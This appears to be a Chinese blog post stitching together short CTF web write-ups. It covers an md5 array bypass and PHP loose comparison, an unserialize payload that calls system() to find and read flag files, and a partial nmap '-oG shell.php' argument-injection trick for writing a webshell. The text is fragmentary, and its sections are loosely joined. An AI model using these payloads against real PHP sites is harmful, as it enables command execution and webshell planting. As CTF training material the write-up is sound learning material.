I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
代码审计,首先我们要满足,get传入的gg和id,md5加密后===,而gg≠id。这个见好多次了。我们传入数组的话,md5()会返回NULL,从而绕过。
构造?gg[]=1&id[]=2
第二个条件,满足post传入的passwd不是数字,而==1234567。php弱类型比较,
所以构造 passwd=1234567a
得到flag。
[网鼎杯 2020 青龙组]AreUSerialz 1
发现是一道反序列化来执行函数的题目。
题目黑名单筛掉了好多危险函数,并且对传入的func进行了全转换为小写字母。但是Test类里也会调用函数gettime()。因此可以通过反序列化unseralize,来执行_construct()函数,进而执行我们的命令执行函数gettime().
因此我们构造:system("ls")
传入
?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:2:"ls";s:4:"func";s:6:"system";}
执行成功。
构造:system("cat $(find / -name flag*)") 打印所有文件名匹配flag*的文件
再传入
?func=unserialize&p=O:4:"Test":2:{s:1:"p";s:25:"cat $(find / -name flag*)";s:4:"func";s:6:"system";}
得到flag。
-oG shell.php '
注意:
一. 两边加单引号,不加的话,两个函数执行后会变成
' -oG shell.php'
这是个字符串,并不是命令
二. 引号与代码命令之间加空格
如果不加,当两个函数执行并echo出来后就会变成:
\ -oG shell.php\\
文件名称是shell.php\\ 而不是shell.php
三. 一句话木马中参数shell不能用单引号闭合,要用双引号
因为 escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
不一定只能用一句话木马,也可以直接用反引号` `来执行命令
?host=' -oG shell.php '
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?